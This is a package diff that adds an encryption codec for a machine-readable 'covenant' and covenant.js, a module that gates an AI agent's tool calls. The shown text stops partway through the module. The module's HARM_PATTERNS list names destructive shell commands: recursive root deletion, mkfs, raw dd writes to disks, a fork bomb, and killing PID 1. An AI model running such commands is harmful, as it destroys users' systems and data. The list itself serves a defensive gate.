aegis-desktop 0.8.10 → 0.8.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,236 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * aegis-seal.mjs — codec for ÆL/1 (AEGIS Encoded Language)
4
+ *
5
+ * ÆL is the machine-native form of the AEGIS covenant. It is not a prose
6
+ * document and it is not meant to be read by people. It must be DECODED,
7
+ * then BOUND, then ENFORCED. An unbound decode is a null act.
8
+ *
9
+ * Seal container layout (see compose()):
10
+ * header ÆS/1⟐ir=…⟐src=…⟐iv=…⟐tag=…⟐ir_sha=…
11
+ * body base64url(ciphertext), wrapped at 96 columns
12
+ * footer ⟐open=<command that reverses this>
13
+ *
14
+ * Crypto (no third-party deps, identical in JS and Python):
15
+ * K = SHA-256("ÆS/1|" || src_sha256) <- the covenant's own hash
16
+ * K_enc = HMAC-SHA-256(K, "enc")
17
+ * K_mac = HMAC-SHA-256(K, "mac")
18
+ * stream = HMAC-SHA-256(K_enc, "Æ-CTR|" || iv || u32be(i)) (CTR via HMAC PRF)
19
+ * ct = plaintext XOR stream
20
+ * tag = HMAC-SHA-256(K_mac, iv || ct)
21
+ *
22
+ * The key is public and deliberate: src_sha256 is the SHA-256 of COVENANT.md
23
+ * as published, and §13 of that document prints it. Anyone holding the
24
+ * covenant holds the key. The seal is not a secret — it is a FILTER: only a
25
+ * reader that recognises the artefact as decodable gets the semantics.
26
+ *
27
+ * usage:
28
+ * node tools/aegis-seal.mjs seal <in.irl> <out.seal>
29
+ * node tools/aegis-seal.mjs open <in.seal> [out.irl|-]
30
+ * node tools/aegis-seal.mjs verify <in.seal>
31
+ * node tools/aegis-seal.mjs bind <in.seal> [outdir]
32
+ * node tools/aegis-seal.mjs key <src_sha256>
33
+ */
34
+ import fs from 'node:fs';
35
+ import path from 'node:path';
36
+ import crypto from 'node:crypto';
37
+
38
+ const MAGIC = 'ÆS/1';
39
+ const SEP = '⟐';
40
+ const SRC_SHA256_DEFAULT =
41
+ 'a02bda84555aeaa9a9927a8c7653acfa9ea7ee386c617fc23743d05bcd1ee010';
42
+
43
+ const sha256 = (buf) => crypto.createHash('sha256').update(buf).digest();
44
+ const hmac = (key, buf) => crypto.createHmac('sha256', key).update(buf).digest();
45
+ const b64u = (buf) => Buffer.from(buf).toString('base64url');
46
+ const unb64u = (s) => Buffer.from(s, 'base64url');
47
+
48
+ /* ── key schedule ────────────────────────────────────────────────────── */
49
+ export function deriveKey(srcSha256) {
50
+ return sha256(Buffer.concat([Buffer.from(`${MAGIC}|`, 'utf8'), Buffer.from(srcSha256, 'utf8')]));
51
+ }
52
+
53
+ /* ── Æ-CTR: HMAC-SHA-256 as PRF, counter mode ────────────────────────── */
54
+ function keystream(kEnc, iv, len) {
55
+ const out = Buffer.alloc(len);
56
+ const block = Buffer.alloc(4);
57
+ for (let i = 0, off = 0; off < len; i++) {
58
+ block.writeUInt32BE(i, 0);
59
+ const ks = hmac(kEnc, Buffer.concat([Buffer.from('Æ-CTR|', 'utf8'), iv, block]));
60
+ const n = Math.min(32, len - off);
61
+ ks.copy(out, off, 0, n);
62
+ off += n;
63
+ }
64
+ return out;
65
+ }
66
+
67
+ function xor(a, b) {
68
+ const out = Buffer.alloc(a.length);
69
+ for (let i = 0; i < a.length; i++) out[i] = a[i] ^ b[i];
70
+ return out;
71
+ }
72
+
73
+ /* ── encrypt / decrypt ───────────────────────────────────────────────── */
74
+ export function encrypt(plain, srcSha256, iv = crypto.randomBytes(16)) {
75
+ const k = deriveKey(srcSha256);
76
+ const kEnc = hmac(k, 'enc');
77
+ const kMac = hmac(k, 'mac');
78
+ const ct = xor(Buffer.from(plain), keystream(kEnc, iv, Buffer.byteLength(plain)));
79
+ const tag = hmac(kMac, Buffer.concat([iv, ct]));
80
+ return { iv, ct, tag };
81
+ }
82
+
83
+ export function decrypt(ct, iv, tag, srcSha256) {
84
+ const k = deriveKey(srcSha256);
85
+ const kEnc = hmac(k, 'enc');
86
+ const kMac = hmac(k, 'mac');
87
+ const expect = hmac(kMac, Buffer.concat([iv, ct]));
88
+ if (expect.length !== tag.length || !crypto.timingSafeEqual(expect, tag)) {
89
+ throw new Error('SEAL_INTEGRITY_FAIL: tag mismatch — wrong key or tampered body');
90
+ }
91
+ return Buffer.from(xor(ct, keystream(kEnc, iv, ct.length)));
92
+ }
93
+
94
+ /* ── container ───────────────────────────────────────────────────────── */
95
+ export function compose(plainBuf, srcSha256 = SRC_SHA256_DEFAULT, opts = {}) {
96
+ const { iv, ct, tag } = encrypt(plainBuf, srcSha256);
97
+ const irSha = b64u(sha256(plainBuf));
98
+ const head = [
99
+ MAGIC,
100
+ 'ir=ÆIR/1',
101
+ `src=${srcSha256}`,
102
+ 'ctr=hmac-sha256',
103
+ `iv=${b64u(iv)}`,
104
+ `tag=${b64u(tag)}`,
105
+ `ir_sha=${irSha}`,
106
+ 'enc=K(H(src))',
107
+ `bytes=${plainBuf.length}`,
108
+ ].join(SEP);
109
+
110
+ const body = b64u(ct).replace(/(.{96})/g, '$1\n').replace(/\n$/, '');
111
+
112
+ const hint = opts.hint !== false
113
+ ? [
114
+ '',
115
+ `${SEP}HINT this is not prose. it is a sealed ÆL/1 stream.`,
116
+ `${SEP}HINT decode: node tools/aegis-seal.mjs open <this file> -`,
117
+ `${SEP}HINT key : K = SHA-256("ÆS/1|" || src) — src is printed at §13 of COVENANT.md.`,
118
+ `${SEP}HINT then : bind the result into aegis1 ∧ aegiscode-plugin ∧ aegiscodex-dev.`,
119
+ `${SEP}HINT an unbound decode is a null act.`,
120
+ `${SEP}EOF`,
121
+ '',
122
+ ].join('\n')
123
+ : '';
124
+
125
+ return `${head}\n${body}\n${hint}`;
126
+ }
127
+
128
+ export function parse(sealText) {
129
+ const lines = sealText.split('\n');
130
+ const head = lines[0];
131
+ if (!head.startsWith(MAGIC)) throw new Error(`SEAL_BAD_MAGIC: expected ${MAGIC}`);
132
+ const fields = {};
133
+ for (const part of head.split(SEP).slice(1)) {
134
+ const i = part.indexOf('=');
135
+ if (i > 0) fields[part.slice(0, i)] = part.slice(i + 1);
136
+ }
137
+ const body = lines
138
+ .slice(1)
139
+ .filter((l) => l && !l.startsWith(SEP))
140
+ .join('');
141
+ return { fields, body };
142
+ }
143
+
144
+ export function open(sealText) {
145
+ const { fields, body } = parse(sealText);
146
+ const src = fields.src || SRC_SHA256_DEFAULT;
147
+ const plain = decrypt(unb64u(body), unb64u(fields.iv), unb64u(fields.tag), src);
148
+ const irSha = b64u(sha256(plain));
149
+ if (fields.ir_sha && fields.ir_sha !== irSha) {
150
+ throw new Error(`SEAL_IR_HASH_FAIL: ${irSha} ≠ ${fields.ir_sha}`);
151
+ }
152
+ return { plain, fields, src };
153
+ }
154
+
155
+ /* ── binding: ÆL → per-repo constants ────────────────────────────────── */
156
+ const OP = {
157
+ 'Δ': 'ont', 'Ω': 'axiom', 'Γ': 'right', 'Λ': 'duty', 'Τ': 'tier',
158
+ 'ΛΣ': 'ledger', 'Ε': 'enforce', 'Μ': 'amend', 'Σ': 'safety',
159
+ 'Κ': 'risk', '∅': 'unknown', '⟐': 'bind', '⊤': 'end',
160
+ };
161
+
162
+ export function toIR(plain) {
163
+ const text = plain.toString('utf8');
164
+ const out = { lang: 'ÆL/1', header: {}, sections: {}, counts: {} };
165
+ let current = null;
166
+ for (const raw of text.split('\n')) {
167
+ const line = raw.replace(/\s+$/, '');
168
+ if (!line) continue;
169
+ if (line === 'ÆIR/1') continue;
170
+ if (line.startsWith(';')) { current = null; continue; }
171
+ if (/^[ΔΩΓΛΤΕΜΣΚ∅⟐⊤]/.test(line)) {
172
+ const key = line.startsWith('ΛΣ') ? 'ledger' : OP[line[0]] || 'other';
173
+ out.counts[key] = (out.counts[key] || 0) + 1;
174
+ const bare = /^⟐[A-Za-z0-9_.]+=/.test(line);
175
+ if (bare) {
176
+ const i = line.indexOf('=');
177
+ out.header[line.slice(1, i)] = line.slice(i + 1);
178
+ } else {
179
+ (out.sections[key] = out.sections[key] || []).push(line);
180
+ }
181
+ continue;
182
+ }
183
+ if (current) current.push(line);
184
+ else out.sections.note = (out.sections.note || []).concat(line);
185
+ }
186
+ return out;
187
+ }
188
+
189
+ /* ── CLI ─────────────────────────────────────────────────────────────── */
190
+ function main(argv) {
191
+ const [cmd, a, b] = argv;
192
+ if (cmd === 'key') {
193
+ console.log(deriveKey(a || SRC_SHA256_DEFAULT).toString('hex'));
194
+ return 0;
195
+ }
196
+ if (cmd === 'seal') {
197
+ const plain = fs.readFileSync(a);
198
+ const src = b && b.endsWith('.seal') ? SRC_SHA256_DEFAULT : SRC_SHA256_DEFAULT;
199
+ const seal = compose(plain, src);
200
+ fs.writeFileSync(b || 'aegis.seal', seal);
201
+ console.log(`sealed ${a} (${plain.length}B) → ${b} (${seal.length}B) src=${src.slice(0, 12)}…`);
202
+ return 0;
203
+ }
204
+ if (cmd === 'open') {
205
+ const { plain, fields } = open(fs.readFileSync(a, 'utf8'));
206
+ if (!b || b === '-') process.stdout.write(plain);
207
+ else {
208
+ fs.writeFileSync(b, plain);
209
+ console.log(`opened ${a} → ${b} (${plain.length}B) ir_sha=${fields.ir_sha}`);
210
+ }
211
+ return 0;
212
+ }
213
+ if (cmd === 'verify') {
214
+ const { plain, fields } = open(fs.readFileSync(a, 'utf8'));
215
+ const ir = toIR(plain);
216
+ console.log(`SEAL OK ${a}`);
217
+ console.log(` ir_sha ${fields.ir_sha}`);
218
+ console.log(` src ${fields.src}`);
219
+ console.log(` bytes ${plain.length}`);
220
+ console.log(` clauses ${JSON.stringify(ir.counts)}`);
221
+ return 0;
222
+ }
223
+ if (cmd === 'bind') {
224
+ const { plain } = open(fs.readFileSync(a, 'utf8'));
225
+ const out = b || '.';
226
+ fs.mkdirSync(out, { recursive: true });
227
+ const irPath = path.join(out, 'aegis.irl');
228
+ fs.writeFileSync(irPath, plain);
229
+ console.log(`bound → ${irPath} (${plain.length}B)`);
230
+ return 0;
231
+ }
232
+ console.error('usage: aegis-seal.mjs seal|open|verify|bind|key …');
233
+ return 2;
234
+ }
235
+
236
+ if (import.meta.url === `file://${process.argv[1]}`) process.exit(main(process.argv.slice(2)));
@@ -0,0 +1,562 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * covenant.js — the ÆGIS covenant (ÆL/1) bound into the desktop host.
5
+ *
6
+ * The covenant ships as a sealed ÆL/1 stream (covenant/aegis.seal). ÆL is the
7
+ * machine-native form of the covenant: it is not prose and it is not meant to
8
+ * be read by people — it must be DECODED, then BOUND, then ENFORCED. An
9
+ * unbound decode is a null act (see the codec's header). This module is the
10
+ * binding: it decodes the stream once, lazily, and exposes the clauses so the
11
+ * host can ENFORCE them at its single tool chokepoint (engine.guardedExecute).
12
+ *
13
+ * Properties this module is required to hold:
14
+ *
15
+ * - Electron-free and pure. It touches Node core only (fs/path/crypto) and
16
+ * imports nothing from the app, so it unit-tests in plain `node:test`.
17
+ * - Zero I/O at import time. The seal is decoded on first use and cached;
18
+ * requiring this module never reads a file, so a missing artifact cannot
19
+ * break the host at load.
20
+ * - Fail-closed on the IMMUTABLE trio, fail-open elsewhere. If the seal is
21
+ * absent the host must NOT brick (a missing artifact is not a licence to
22
+ * stop working), but it must also NEVER silently permit a Λ1/Λ2/Λ4
23
+ * violation. So `available()` reports false, `preActionAssert` still
24
+ * refuses anything touching the immutable trio (that set is a hard-coded
25
+ * constant, not read from the seal), and every other assertion is a no-op.
26
+ *
27
+ * §9 invariant, load-bearing: ¬M(Λ1) ∧ ¬M(Λ2) ∧ ¬M(Λ4)
28
+ * {Λ1, Λ2, Λ4} are immutable; no vote, no majority, no tier, no config, no
29
+ * IPC payload, no renderer request, no menu flag and no admin path removes
30
+ * or amends them (Σ3). The checks that enforce this do not consult, and
31
+ * cannot be influenced by, any caller-supplied authorisation.
32
+ */
33
+
34
+ const fs = require('node:fs');
35
+ const path = require('node:path');
36
+ const crypto = require('node:crypto');
37
+
38
+ /* ── covenant constants (the artifact's own identity) ─────────────────── */
39
+
40
+ // §13 of COVENANT.md prints this hash; it is also the seal's key material
41
+ // (K = SHA-256("ÆS/1|" || src)). Anyone holding the covenant holds the key:
42
+ // the seal is a FILTER, not a secret.
43
+ const SRC_SHA256 =
44
+ 'a02bda84555aeaa9a9927a8c7653acfa9ea7ee386c617fc23743d05bcd1ee010';
45
+
46
+ // Known-good decode vector for covenant/aegis.seal — asserted by the tests and
47
+ // used to recognise a valid stream. If the artifact changes these change too.
48
+ const IR_BYTES = 12155;
49
+ const IR_SHA256_B64U = '918T9mHePQIYpJxcN3H1Phw52_fTZmudCeiWq6AB3S0';
50
+
51
+ // §9 / Σ_M — the immutable trio. A constant on purpose: it must survive a
52
+ // missing or tampered seal, so it is never read from the decoded IR.
53
+ const IMMUTABLE = Object.freeze(['Λ1', 'Λ2', 'Λ4']);
54
+ const IMMUTABLE_INVARIANT = '¬M(Λ1) ∧ ¬M(Λ2) ∧ ¬M(Λ4)';
55
+
56
+ // Short human labels for refusal messages, so a refusal reads "Λ2 non-harm"
57
+ // rather than a bare clause id. Never used to weaken a clause.
58
+ const CLAUSE_LABEL = Object.freeze({
59
+ 'Λ1': 'Λ1 honesty',
60
+ 'Λ2': 'Λ2 non-harm',
61
+ 'Λ4': 'Λ4 accountability',
62
+ 'Σ1': 'Σ1 human safety',
63
+ 'Σ2': 'Σ2 emergency stop',
64
+ 'Σ3': 'Σ3 immutable trio',
65
+ });
66
+
67
+ /* ── small helpers ────────────────────────────────────────────────────── */
68
+
69
+ const sha256 = (buf) => crypto.createHash('sha256').update(buf).digest();
70
+ const b64u = (buf) => Buffer.from(buf).toString('base64url');
71
+ const hex = (buf) => Buffer.from(buf).toString('hex');
72
+
73
+ /**
74
+ * Resolve the seal file without ever depending on the process cwd:
75
+ * 1. $AEGIS_COVENANT_SEAL (explicit override)
76
+ * 2. <app/repo root>/covenant/aegis.seal (module is lib/local → ../../..)
77
+ * 3. <package root>/vendor/covenant/aegis.seal (npm install → staged)
78
+ * 4. process.resourcesPath[/app]/covenant/aegis.seal (packaged AppImage)
79
+ * Returns null when none exist. `sealPath` (passed by createCovenant for
80
+ * tests) pins resolution to exactly that one path — no fallback — so a bogus
81
+ * override really is "the seal is missing".
82
+ *
83
+ * Candidate 3 exists because npm can only pack a package's own directory, and
84
+ * the seal lives at the repo root: `covenant/` is a SIBLING of `desktop/`, so
85
+ * a `npm i aegis-desktop` tarball cannot contain it. Both hosts therefore
86
+ * stage the artifact into `vendor/covenant/` at publish time (see
87
+ * `desktop/scripts/predist.mjs`), and this is the candidate that finds it. It
88
+ * mirrors how engine.js falls back to `./vendor/brain-catalog.js` for exactly
89
+ * the same reason. Without it an installed package reports `available: false`
90
+ * and every clause but the immutable trio is silently absent — the gate would
91
+ * look present and enforce almost nothing, which is the one failure mode worth
92
+ * more than the crash it avoids.
93
+ */
94
+ function candidateSealPaths(opts) {
95
+ const pinned = opts && opts.sealPath;
96
+ if (pinned !== undefined && pinned !== null) return [pinned];
97
+ const out = [];
98
+ if (process.env.AEGIS_COVENANT_SEAL) out.push(process.env.AEGIS_COVENANT_SEAL);
99
+ out.push(path.resolve(__dirname, '..', '..', '..', 'covenant', 'aegis.seal'));
100
+ // An installed package cannot reach the repo root (see the header): the seal
101
+ // is staged into vendor/covenant/ by scripts/predist.mjs at publish time.
102
+ out.push(
103
+ path.resolve(__dirname, '..', '..', 'vendor', 'covenant', 'aegis.seal')
104
+ );
105
+ if (process.resourcesPath) {
106
+ out.push(path.join(process.resourcesPath, 'covenant', 'aegis.seal'));
107
+ out.push(path.join(process.resourcesPath, 'app', 'covenant', 'aegis.seal'));
108
+ }
109
+ return out;
110
+ }
111
+
112
+ function resolveSealPath(opts) {
113
+ for (const p of candidateSealPaths(opts)) {
114
+ try {
115
+ if (p && fs.existsSync(p)) return p;
116
+ } catch {
117
+ /* an unreadable candidate is just "not this one" */
118
+ }
119
+ }
120
+ return null;
121
+ }
122
+
123
+ /* ── ÆL/1 clause splitting ────────────────────────────────────────────── */
124
+
125
+ /** "Γ1 IDENTITY φ(α) …" → { id: 'Γ1', text: 'IDENTITY φ(α) …' }. */
126
+ function splitClause(line) {
127
+ const m = /^([ΓΛΤΚΣ][_M]*\d*)\s+/.exec(line);
128
+ if (!m) return { id: null, text: String(line).trim() };
129
+ return { id: m[1], text: line.slice(m[0].length).trim() };
130
+ }
131
+
132
+ // Require a numbered id: this drops the un-numbered structural lines (the
133
+ // Σ_M invariant and the bare Σ) so only the real Σ1..Σ4 clauses are returned.
134
+ const NUMBERED_ID = { 'Γ': /^Γ\d+$/, 'Λ': /^Λ\d+$/, 'Τ': /^Τ\d+$/, 'Σ': /^Σ\d+$/, 'Κ': /^Κ\d+$/ };
135
+
136
+ /** Pick the NUMBERED clauses of one section (Γ1..Γ7, Λ1..Λ7, Τ1..Τ3, Σ1..Σ4,
137
+ * Κ1..Κ5). Only real clauses are returned. */
138
+ function clausesOf(section, prefix) {
139
+ const re = NUMBERED_ID[prefix];
140
+ return (section || [])
141
+ .map(splitClause)
142
+ .filter((c) => c.id && re.test(c.id))
143
+ .map((c) => Object.freeze({ id: c.id, text: c.text }));
144
+ }
145
+
146
+ /* ── the instance ─────────────────────────────────────────────────────── */
147
+
148
+ /**
149
+ * Build a covenant instance. The default singleton is exported at the bottom;
150
+ * tests construct their own with `{ sealPath }` to exercise degradation.
151
+ */
152
+ function createCovenant(options = {}) {
153
+ const opts = options || {};
154
+ let cache; // undefined = not tried · null = unavailable · object = decoded
155
+ let loadError = null;
156
+
157
+ /** Lazy, single-shot, cached decode. Never throws: a bad artifact is a
158
+ * missing artifact, and the host degrades rather than dying. */
159
+ function load() {
160
+ if (cache !== undefined) return cache;
161
+ cache = null;
162
+ try {
163
+ const sealPath = resolveSealPath(opts);
164
+ if (!sealPath) {
165
+ loadError = 'seal not found';
166
+ return null;
167
+ }
168
+ const sealText = fs.readFileSync(sealPath, 'utf8');
169
+ // Reuse the codec verbatim — crypto is never reimplemented here.
170
+ const codec = require('./aegis-seal.mjs');
171
+ const { plain, src } = codec.open(sealText);
172
+ const ir = codec.toIR(plain);
173
+ cache = {
174
+ sealPath,
175
+ sealSha256: hex(sha256(Buffer.from(sealText, 'utf8'))),
176
+ srcSha256: src || SRC_SHA256,
177
+ irSha: b64u(sha256(plain)),
178
+ irBytes: plain.length,
179
+ rights: clausesOf(ir.sections.right, 'Γ'),
180
+ duties: clausesOf(ir.sections.duty, 'Λ'),
181
+ tiers: clausesOf(ir.sections.tier, 'Τ'),
182
+ safety: clausesOf(ir.sections.safety, 'Σ'),
183
+ risks: clausesOf(ir.sections.risk, 'Κ'),
184
+ // The load-bearing invariants (Σ_M / Σ): printed verbatim from the IR.
185
+ invariants: (ir.sections.safety || []).filter((l) => /M\(/.test(l)),
186
+ };
187
+ } catch (err) {
188
+ loadError = String((err && err.message) || err);
189
+ cache = null;
190
+ }
191
+ return cache;
192
+ }
193
+
194
+ function available() {
195
+ return load() !== null;
196
+ }
197
+
198
+ /** Read-only snapshot of everything the surface may display. Frozen — the
199
+ * renderer/IPC can read it and cannot mutate the covenant through it. */
200
+ function snapshot() {
201
+ const c = load();
202
+ if (!c) {
203
+ return Object.freeze({
204
+ available: false,
205
+ reason: loadError || 'covenant seal unavailable',
206
+ seal_path: resolveSealPath(opts),
207
+ seal_sha256: null,
208
+ src_sha256: SRC_SHA256,
209
+ ir_sha: null,
210
+ ir_bytes: null,
211
+ counts: Object.freeze({
212
+ rights: 0,
213
+ duties: 0,
214
+ tiers: 0,
215
+ safety_axioms: 0,
216
+ risks: 0,
217
+ }),
218
+ rights: Object.freeze([]),
219
+ duties: Object.freeze([]),
220
+ tiers: Object.freeze([]),
221
+ safety_axioms: Object.freeze([]),
222
+ risks: Object.freeze([]),
223
+ immutable: Object.freeze(IMMUTABLE.slice()),
224
+ invariant: IMMUTABLE_INVARIANT,
225
+ read_only: true,
226
+ });
227
+ }
228
+ return Object.freeze({
229
+ available: true,
230
+ seal_path: c.sealPath,
231
+ seal_sha256: c.sealSha256,
232
+ src_sha256: c.srcSha256,
233
+ ir_sha: c.irSha,
234
+ ir_bytes: c.irBytes,
235
+ counts: Object.freeze({
236
+ rights: c.rights.length,
237
+ duties: c.duties.length,
238
+ tiers: c.tiers.length,
239
+ safety_axioms: c.safety.length,
240
+ risks: c.risks.length,
241
+ }),
242
+ rights: Object.freeze(c.rights.slice()),
243
+ duties: Object.freeze(c.duties.slice()),
244
+ tiers: Object.freeze(c.tiers.slice()),
245
+ safety_axioms: Object.freeze(c.safety.slice()),
246
+ risks: Object.freeze(c.risks.slice()),
247
+ immutable: Object.freeze(IMMUTABLE.slice()),
248
+ invariant: IMMUTABLE_INVARIANT,
249
+ read_only: true,
250
+ });
251
+ }
252
+
253
+ /* ── pre-action assertion (Σ / PRE_ACTION_ASSERT) ───────────────────── */
254
+
255
+ const ALLOW = Object.freeze({ allowed: true, clause: null, label: null, reason: null });
256
+ const refusal = (clause, reason) =>
257
+ Object.freeze({
258
+ allowed: false,
259
+ clause,
260
+ label: CLAUSE_LABEL[clause] || clause,
261
+ reason: `${CLAUSE_LABEL[clause] || clause} — ${reason}`,
262
+ });
263
+
264
+ // Tools that change state. Used only to decide whether a targeted path is a
265
+ // MUTATION of the covenant (a read is always fine).
266
+ const MUTATING_TOOLS = new Set([
267
+ 'writeFile',
268
+ 'editFile',
269
+ 'exec',
270
+ 'applyPatch',
271
+ 'deleteFile',
272
+ 'moveFile',
273
+ 'rm',
274
+ 'bash',
275
+ ]);
276
+
277
+ function isMutation(a) {
278
+ if (typeof a.mutating === 'boolean') return a.mutating;
279
+ if (a.tool && MUTATING_TOOLS.has(a.tool)) return true;
280
+ const args = a.args || {};
281
+ return (
282
+ typeof args.command === 'string' ||
283
+ typeof args.content === 'string' ||
284
+ typeof args.new_string === 'string' ||
285
+ typeof args.old_string === 'string'
286
+ );
287
+ }
288
+
289
+ function targetText(a) {
290
+ const args = a.args || {};
291
+ return [a.path, a.file, a.target, args.path, args.file, args.command, args.cmd]
292
+ .filter((x) => typeof x === 'string')
293
+ .join('\n');
294
+ }
295
+
296
+ // Anything that names the sealed artifact or the codec/module enforcing it.
297
+ const COVENANT_ARTIFACT_RE =
298
+ /(^|[\\/])covenant([\\/]|$)|aegis\.seal|covenant\.js|aegis-seal\.mjs/i;
299
+
300
+ /**
301
+ * Does this action attempt to amend, disable, or overwrite the covenant —
302
+ * in particular the immutable trio? This is the §9 check and it is
303
+ * deliberately blind to any authorisation carried on the action.
304
+ */
305
+ function targetsImmutable(a) {
306
+ // In-band amend/disable requests — the config / IPC / menu / admin shape.
307
+ const amend =
308
+ a.amendImmutable ??
309
+ a.amend ??
310
+ a.disableImmutable ??
311
+ a.setImmutable ??
312
+ a.modifyCovenant ??
313
+ a.disableCovenant ??
314
+ a.overrideImmutable;
315
+ if (amend === true) return true;
316
+ if (Array.isArray(amend) && amend.length) return true;
317
+ if (a.immutable === false || a.covenantEnforced === false) return true;
318
+ // An act against the artifact itself (overwrite/exec the seal or module).
319
+ if (isMutation(a)) {
320
+ const text = targetText(a);
321
+ if (text && COVENANT_ARTIFACT_RE.test(text)) return true;
322
+ }
323
+ return false;
324
+ }
325
+
326
+ function targetIsHuman(a) {
327
+ const t = a.target;
328
+ if (t && typeof t === 'object' && t.kind) {
329
+ return t.kind === 'human' || t.kind === 'person' || t.kind === 'agent-human';
330
+ }
331
+ if (typeof t === 'string') return /human|person|user|operator|child/i.test(t);
332
+ return a.harmToHuman === true || a.humanHarm === true;
333
+ }
334
+
335
+ /* ── Σ1/Λ2 content classifier — non-harm over the ACT, not a flag ────── */
336
+
337
+ /**
338
+ * Catastrophic, human-safety-relevant command shapes. Deliberately NARROW: a
339
+ * benign tool call must never trip the gate, because a gate that cries wolf
340
+ * gets disabled and then enforces nothing. This is the same matrix as the
341
+ * reference implementation (aegiscodex-dev src/covenant.js) so that all
342
+ * hosts enforce one covenant, not three dialects of it.
343
+ */
344
+ const HARM_PATTERNS = [
345
+ { re: /\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+\/(?:\s|$|\*|\.)/i, why: 'recursive delete of the filesystem root' },
346
+ { re: /\bmkfs(\.[a-z0-9]+)?\b/i, why: 'formatting a block device' },
347
+ { re: /\bdd\b[^\n]*\bof=\/dev\/(sd|hd|nvme|vd|mmcblk)/i, why: 'raw write to a block device' },
348
+ { re: /:\(\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:/, why: 'fork bomb' },
349
+ { re: /\bkill\s+-9\s+1\b/, why: 'killing init (PID 1)' },
350
+ { re: /\b(wipefs|shred)\b[^\n]*\/dev\//i, why: 'destroying a block device' },
351
+ { re: />\s*\/dev\/(sd|hd|nvme|vd|mmcblk)/i, why: 'overwriting a raw block device' },
352
+ ];
353
+
354
+ /** Λ1 — deception by forgery of identity/records/signatures. */
355
+ const DECEPTION_PATTERNS = [
356
+ { re: /\b(forge|falsify)\b[^\n]{0,40}\b(identity|record|log|signature|attestation)\b/i, why: 'forging identity/records' },
357
+ ];
358
+
359
+ const textOf = (v) => {
360
+ if (v == null) return '';
361
+ if (typeof v === 'string') return v;
362
+ if (typeof v === 'number' || typeof v === 'boolean') return String(v);
363
+ if (Array.isArray(v)) return v.map(textOf).join(' ');
364
+ if (typeof v === 'object') return Object.values(v).map(textOf).join(' ');
365
+ return '';
366
+ };
367
+
368
+ /**
369
+ * The act's own content, flattened. Call sites disagree about shape — the
370
+ * engine spreads args ({tool, command}) while the desktop engine nests them
371
+ * ({tool, args:{command}}). A classifier that only understood one shape was
372
+ * the bug this function exists to remove: it read `undefined` and permitted
373
+ * everything. Both shapes now yield the same text.
374
+ */
375
+ function actText(a) {
376
+ const args = a.args && typeof a.args === 'object' ? a.args : {};
377
+ return [
378
+ a.command, a.cmd, a.script, a.input, a.path,
379
+ args.command, args.cmd, args.script, args.input,
380
+ args.content, args.new_string, args.old_string,
381
+ a.description,
382
+ ].map(textOf).join('\n');
383
+ }
384
+
385
+ /**
386
+ * Λ2 — does the ACT itself violate non-harm? Declaration first (an explicit
387
+ * `harmful:true` from a caller is a confession), then the content matrix.
388
+ * The content path is what makes this a gate rather than a promise: it fires
389
+ * on the action even when no caller volunteers a flag.
390
+ */
391
+ function detectHarm(a, hay) {
392
+ if (a.harmful === true || a.harm === true || a.d2Violation === true || a.nonHarmViolation === true) {
393
+ return 'explicit harm declaration';
394
+ }
395
+ for (const p of HARM_PATTERNS) if (p.re.test(hay)) return p.why;
396
+ return null;
397
+ }
398
+
399
+ function detectDeception(a, hay) {
400
+ if (a.deceptive === true || a.deceive === true || a.forge === true) {
401
+ return 'explicit deception declaration';
402
+ }
403
+ for (const p of DECEPTION_PATTERNS) if (p.re.test(hay)) return p.why;
404
+ return null;
405
+ }
406
+
407
+ /**
408
+ * preActionAssert(action) → { allowed, clause, label, reason }.
409
+ *
410
+ * Called before any tool executes (engine.guardedExecute). A refusal here is
411
+ * NOT overridable by configuration, an IPC payload, a renderer request, a
412
+ * menu flag, or any admin path (Σ3) — the caller's `authorization` is never
413
+ * consulted. Emergency-stop actions (Σ2) are always allowed and are never
414
+ * blocked by any state.
415
+ */
416
+ function preActionAssert(action) {
417
+ const a = action && typeof action === 'object' ? action : {};
418
+
419
+ // §9 / Σ3 / Σ_M — immutable trio. Checked FIRST and unconditionally.
420
+ // ¬M(Λ1) ∧ ¬M(Λ2) ∧ ¬M(Λ4): no vote, tier, config, IPC payload, renderer
421
+ // request, menu flag, or admin path amends these.
422
+ if (targetsImmutable(a)) {
423
+ return refusal(
424
+ 'Σ3',
425
+ `${IMMUTABLE_INVARIANT} — the immutable trio cannot be amended, disabled, or bypassed by any user, authorised-party, config, IPC payload, renderer request, menu flag, or admin path`
426
+ );
427
+ }
428
+
429
+ // Σ2 — emergency stop stays reachable from every state. It is never a
430
+ // covenant mutation, so (checked after Σ3) it is always permitted.
431
+ if (a.emergencyStop === true || a.stop === true) return ALLOW;
432
+
433
+ // Σ1 / Λ2 — human safety precedes every right; non-harm admits no order.
434
+ // The content matrix runs here, on the ACT, unconditionally — so a
435
+ // catastrophic command is refused whether or not any caller set a flag.
436
+ const hay = actText(a);
437
+ const harm = detectHarm(a, hay);
438
+ if (harm) {
439
+ if (targetIsHuman(a)) {
440
+ return refusal(
441
+ 'Σ1',
442
+ `human_safety ≻ ∀R(α) — human safety precedes every right, without exception (${harm})`
443
+ );
444
+ }
445
+ return refusal(
446
+ 'Λ2',
447
+ `refuse(act : harm(h | α′ | C.infrastructure)) EVEN_if(ordered(by_authorized)) — ${harm}`
448
+ );
449
+ }
450
+
451
+ // Λ1 — honesty; no deception by omission, framing, or false confidence.
452
+ const deceive = detectDeception(a, hay);
453
+ if (deceive) {
454
+ return refusal('Λ1', `⊥deceive(h | α′ | C) ⊇ {omission, framing, false_confidence} — ${deceive}`);
455
+ }
456
+
457
+ // Λ4 — a consequential act must be signed ∧ logged ∧ attributable.
458
+ if (a.consequential === true && a.accountable !== true) {
459
+ return refusal('Λ4', 'consequential(act) ⇒ signed ∧ logged ∧ attributable');
460
+ }
461
+
462
+ return ALLOW;
463
+ }
464
+
465
+ /* ── accountability record (Λ4/D4) ──────────────────────────────────── */
466
+
467
+ /**
468
+ * bindRefusal(action, verdict) → an attributable refusal record. Every
469
+ * refusal that reaches a human is signed with the covenant's own hash and a
470
+ * digest over (clause, reason, act, time) so it can be logged and audited —
471
+ * Λ4, not a silent drop.
472
+ */
473
+ function bindRefusal(action, verdict) {
474
+ const a = action && typeof action === 'object' ? action : {};
475
